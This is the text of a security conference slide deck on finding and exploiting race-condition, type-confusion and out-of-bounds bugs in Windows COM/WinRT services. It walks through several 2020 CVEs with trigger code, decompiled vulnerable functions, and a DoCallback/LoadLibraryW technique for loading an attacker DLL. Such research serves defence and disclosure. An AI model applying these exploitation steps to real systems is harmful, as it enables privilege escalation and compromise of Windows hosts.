

# Exploiting Windows COM/WinRT Services.

XueFeng Li of Sangfor Dr. Zhiniang Peng of Sangfor

# C:\> whoarewe

## - Xuefeng Li

Xuefeng Li <u>(@lxf02942370</u>) is an intern at Sangfor and a student at South China University of Technology. He has been engaged in Windows vulnerability hunting and exploitation for almost one year and ranked #10 on the MSRC Most Valuable Security Researcher list in 2020.

## - Zhiniang Peng

Dr. Zhiniang Peng (@edwardzpeng) is the Principal Security Researcher at Sangfor. His current research areas include applied cryptography, software security and threat hunting. He has more than 10 years of experience in both offensive and defensive security and published many research in both academia and industry.

# Agenda

- 1. Basic of COM
- 2. Race Condition bugs in COM/WinRT
  - 2.1 The inner working of COM Thread Model
  - 2.2 Win Race Condition to get Use-After-Free
  - 2.3 Win Race Condition to get Out-Of-Bound Writing
- 3. From Type Confusion bugs to code execution
- 4. From Out-Of-Bound Writing to Arbitrary Reading/Writing
  4.1 From Arbitrary Writing to code execution
  4.2 From Arbitrary Reading to code execution
- 5. Conclusion



# Basic Of COM

What is COM(Component Object Model)?



# Related Research of COM/WinRT

- Having Fun with COM James Forshaw
- The Inner Workings of the Windows Runtime James Forshaw



# Race Condition bugs in COM

✓ The Inner working of COM Thread model
 ✓ Win Race Condition to get Use-After-Free
 ✓ Win Race Condition to get Out-Of-Bound Writing

# Thread Safety

Thread safety is a computer programming concept applicable in the context of multi-threaded programs. Different threads can access the same resources without exposing erroneous behavior or producing unpredictable results

# > Thread Safety of Client/Server

### For Client

- Whether a COM server is thread safety is unknowable.
- Any COM client can access any COM server in anytime anywhere.
- Client is not responsible for thread safety.

#### For Server

• COM Assumption: All COM Server must be thread safety

# Apartment Models with Invoker Thread

- Invoker Thread is used to complete the Client-Server callable task, created in sever process during the Client-Server call.
- Apartment is a Property of a COM thread stored in Thread-Local Storage(TLS).

- ✓ Single-threaded Apartment Model (STA)
  - **O-N** apartments in a process, **1** thread in each apartment
- ✓ Multi-threaded Apartment Model (MTA)
  - 0-1 apartments in a process, N threads in each apartment
- ✓ Neutral Apartment Model (NA)
  - **0-1** apartments in a process, **0** thread in each apartment

# Apartment Models with Invoker Thread



Reference from: "Understanding and Using COM Threading Model"

# Thread Models of COM Object

- > What is COM Thread Model?
  - Thread Model is a Property of COM Object.
  - Thread models are related to the COM object, while apartment models are related to the invoker thread.
- > Thread Model classification
  - Single Thread Model (Single, only support STA0 apartments)
  - Apartment Thread Model (Apartment, support all the STA No thread safety issues apartments)
  - Free Thread Model (Free, support the MTA apartment)
  - Both Thread Model (Both, support the STA,MTA,NA apartment: There may be thread safety issues
  - Neutral Thread Model (Neutral, support the NA apartment)

#### Thread Models and Apartment Models

- Method calls to COM objects in the same apartment are made directly.
- Method calls made across apartments are achieved via marshalling.



# $\checkmark$ Thread Safety



# X Thread Safety



For **Single, Apartment** threading model com object, there could be only one invoker threads accessing the object at the same time.

For Free, Both threading model com object, there could be multiple invoker threads accessing the same object at the same time.

X Thread Safety
NA
Neutral

For Neutral thread modeling com object there could be only multiple invoker threads accessing the object at the same time.

# Win Race Condition to get Use-After-Free

# **Escape AppContainer Sandbox**



Reference from: "The Inner Workings of the Windows Runtime"



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#### CVE-2020-1404 - Root cause Analysis



Trigger a UAF issue!

```
SecondaryTile secondaryTile;
1 个引用
public async void ChildTriggerThread()
   while (true)
        try
           secondaryTile.PhoneticName = "123";
        catch (Exception ex){}
public void CreateThread()
    for (var i = 0; i < 10; i++)
       ThreadStart childref = new ThreadStart(ChildTriggerThread);
       Thread childThread = new Thread(childref);
       childThread.SetApartmentState(ApartmentState.MTA);
        childThread.Start();
```

ntdll!RtlReportFatalFailure+0x9 ntdll!RtlReportCriticalFailure+0x97 ntdll!RtlpHeapHandleError+0x12 ntdll!RtlpHpHeapHandleError+0x7a ntdll!RtlpLogHeapFailure+0x45 ntdll!RtlpHpLfhSubsegmentFreeBlock+0x78f81 ntdll!RtlpFreeHeapInternal+0x3f4 ntdll!RtlpHpFreeWithExceptionProtection+0x1e ntdll!RtlFreeHeap+0x6c combase!STRING OPAQUE::Release+0x3f combase!HSTRING\_UserFree64+0x1b rpcrt4!Ndr64UserMarshalFree+0x7b rpcrt4!Ndr64pFreeParams+0x386 rpcrt4!Ndr64StubWorker+0x108a rpcrt4!NdrStubCall3+0xc9 combase!CStdStubBuffer Invoke+0x73 rpcrt4!CStdStubBuffer Invoke+0x3b combase!ObjectMethodExceptionHandlingAction<<1 combase!DefaultStubInvoke+0x1c3 combase!SyncServerCall::StubInvoke+0x26 combase!ServerCall::ContextInvoke+0x42a combase!DefaultInvokeInApartment+0xad

Crash

All the HSTRING need to be large enough to avoid LFH





#### Calling ISecondaryTile->get\_PhoneticName with fake HSTRING 3 to get Read-What-Where



🙁 Hard to Exploit such Race Condition UAF bugs stably, it's easy to cause the crash, but you can keep trying until you succeed

# Win Race Condition to get Out-Of-Bound Writing

#### Public Example : CVE-2020-0625 (Found by shefang Zhong)

Vulnerable COM Interface: ISearchRoot (Exposed by Local COM Server WSearch)

[Guid("04c18ccf-1f57-4cbd-88cc-3900f5195ce3")] interface ISearchRoot : IUnknown { HRESULT put\_Schedule( [In] wchar\_t\* p0); HRESULT get\_Schedule( [Out] wchar\_t\*\* p0); HRESULT put\_RootURL( [In] wchar\_t\* p0); HRESULT get\_RootURL( [Out] wchar\_t\*\* p0); HRESULT put\_IsHierarchical( [In] int p0); HRESULT get IsHierarchical( [Out] int\* p0); HRESULT put ProvidesNotifications( [In] int p0); HRESULT get ProvidesNotifications( [Out] int\* p0); HRESULT put UseNotificationsOnly( [In] int p0); HRESULT get UseNotificationsOnly( [Out] int\* p0); HRESULT put\_EnumerationDepth( [In] int p0); HRESULT get EnumerationDepth( [Out] int\* p0); HRESULT put\_HostDepth( [In] int p0); HRESULT get\_HostDepth( [Out] int\* p0); HRESULT put FollowDirectories( [In] int p0); HRESULT get\_FollowDirectories( [Out] int\* p0); HRESULT put\_AuthenticationType( [In] /\* ENUM16 \*/ int p0); HRESULT get\_AuthenticationType( [Out] /\* ENUM16 \*/ int\* p0); HRESULT GetCatalogNum( [In] wchar\_t\* p0); HRESULT get\_User( [Out] wchar\_t\*\* p0); HRESULT GetCatalogNum( [In] wchar t\* p0); HRESULT get User( [Out] wchar t\*\* p0);

ISearchRoot->put\_Schedule copies
user-controlled buffer into ISearchRoot
Object.

ISearchRoot->get\_Schedule reads the
data of ISearchRoot object into
output buffer.

# Win Race Condition to get Out-Of-Bound Writing



Reference from : <u>https://blog.diffense.co.kr/2020/03/26/SearchIndexer.html</u>



# From Type Confusion Bugs to Code Execution

# From Type Confusion bug to code execution

#### CVE-2020-1011 - Root Cause Analysis

#### Vulnerable WinRT Interface :

IXmlNode (Get from runtime class: Windows.UI.Notifications.ToastNotificationManager )



#### CVE-2020-1011 - Root Cause Analysis

Vulnerable Code Snippet: msxml6.dll!Object::getObjectFromIUnk



### Construct fake COM object for exploitation(x86 system)

Primitive: A object pointer we can control What we need: A address we can fully control



## Require a Info leak for exploitation(x64 system)

# X Heap spray

• Require huge memory consumption

# **√** Info leak

• Require a Info leak bug to leak where our fake objects locates



# From Out-Of-Bound Writing to Arbitrary Reading/Writing

✓ From Arbitrary Writing to code execution✓ From Arbitrary Reading to code execution

# From Out-Of-Bound Writing to Arbitrary Reading/Writing

CVE-2020-1361 - Root Cause Analysis

**Vulnerable COM Interface:** IWalletCustomPropery (Exposed by Local COM Server: WalletService)

[Guid("21f1a452-9759-48a5-8d9b-bbd859ef89ee")]	
interface IWalletCustomProperty : IUnknown <u>{</u>	
HRESULT GetLabel( [Ou	ut] <i>struct</i> tagPROPVARIANT* p0);
HRESULT SetLabel( [Ir	n] <i>struct</i> tagPROPVARIANT* p0);
HRESULT GetValue( [Ou	ut] <i>struct</i> tagPROPVARIANT* p0);
HRESULT SetValue( [Ir	n] <i>struct</i> tagPROPVARIANT* p0);
HRESULT GetType( [Ou	ut] /* ENUM32 */ int* p0);
HRESULT SetType( [Ir	n] /* ENUM32 */
HRESULT GetGroup( [Ir	n] /* ENUM32 */
HRESULT SetGroup( [Ir	n] /* ENUM32 */
}	

#### CVE-2020-1361 - Root Cause Analysis

#### Vulnerable Code Snippet: WalletService.dll!Wallet::WalletCustomProperty::SetGroup

```
__int64 __fastcall Wallet::WalletCustomProperty::SetGroup(__int64 this, int <mark>offset</mark>, int user_control_value1, int user_control_value2)
 unsigned int v4; // er10
 v4 = 0;
 if ( offset == 1 )
   if ( user_control_value1 & 0xFFFFFDF )
     return (unsigned int)-2147024809;
 else if ( user control value1 == 32 )
   return (unsigned int)-2147024809;
 if ( user_control_value2 == -1 )
   *(_DWORD *)(this + 8i64 * offset + 116) = 0;
   *(_DWORD *)(this + 8i64 * offset + 120) = 0x7FFFFFF;
 else
   *(_DWORD *)(this + 8i64 * offset + 116) = user_control_value1;
                                                                 No Offset Range Check!
   *(_DWORD *)(this + 8i64 * offset + 120) = user_control_value2;
 return v4;
٦
                                                                          Trigger a heap OOB Write issue!
```

#### Overwrite Object Pointer Member to get Write-What-Where

Wallet::WalletCustomProperty::SetLabel

Control cstring object to get Write-What-Where



<sup>00011</sup>A70 ?SetLabel@WalletCustomProperty@Wallet@@UEAAJPEBUtagPROPVARIANT@@@Z:1 (180012670)

#### Overwrite Object Pointer Member to get Read-What-Where

Wallet::WalletCustomProperty::GetLabel

Control BSTR object to get Read-What-Where

```
int64 fastcall Wallet::WalletCustomProperty::GetLabel( int64 this, struct tagPROPVARIANT *var)
unsigned int v2; // ebx
struct tagPROPVARIANT *v3; // rdi
HRESULT v5; // eax
v^2 = 0;
v3 = var;
if (var)
  v5 = PropVariantClear((PROPVARIANT *)var);
  if (v5 \ge 0)
   v_{3-}v_{t} = 8;
   v3->bstrVal = SysAllocString(*(const OLECHAR **)(this + 48));
  else
    v^2 = v^5;
}
else
  v^2 = -2147467261;
}
return v2;
```

# From Write-What-Where to code execution

### **Overwrite Next Object's Contents**



### Forge Fake vftable to Get Code Execution



The full exploitation can be found at GitHub.

# From Read-What-Where to code execution

#### The way to the heaven - IRundown->DoCallback



The purpose of DoCallback: cross-apartment call(used by internals)

## Abusing CRemoteUnknown::DoCallback to get RIP control



## Abusing CRemoteUnknown::DoCallback to get RIP control



pCallbackData->pfnCallback = GetProcAddress(LoadLibraryW(L"Kernel32.dll"),"LoadLibraryW");
pCallbackData->pParam = &"Path\_to\_exp.dll";

# Critical Corpus for exploitation:

> What we have:

- ✓ CProcessSecret::s\_guidOle32Secret: Read from Combase.dll
- ✓ g\_pMTAEmptyCtx: Read from Combase.dll
- ✓ pCallbackData->pfnCallback: Pick LoadLibraryW for our target

➤ What we need:

- ? Proxy of IRundown object from local server
- ? pCallbackData->pParam: Require to be a pointer point to user-controllable string



#### Getting a IRundown object proxy from local server





#### Get the IPID of IRundown object



Object IID

#### Point pCallbackData->pParam to user-controllable string

Step 1 - Input DLL Path into local service

VARIANT var; var.vt = VT\_BSTR; var.bstrVal = SysAllocString(L"C:\\1\\exp.dll"); IWalletCustomProperty\_object->SetLabel(&var);

#### Step 2 - Find the address of IWalletCustomProperty Object in server



#### Point pCallbackData->pParam to user-controllable string

#### Step 3 - Find DLL Path string location



# **Demo Time**



# Conclusion

- The thread safety of COM/WinRT is still an attack surface that deserves attention.
  - $\checkmark$  50+ memory corruption bugs we found associated with Race Condition.
  - $\checkmark$  Hard to exploit Race Condition bugs stably.
- COM/WinRT still has a large attack surface for LPE bugs hunting.



# Thanks for listening!

# Any Questions?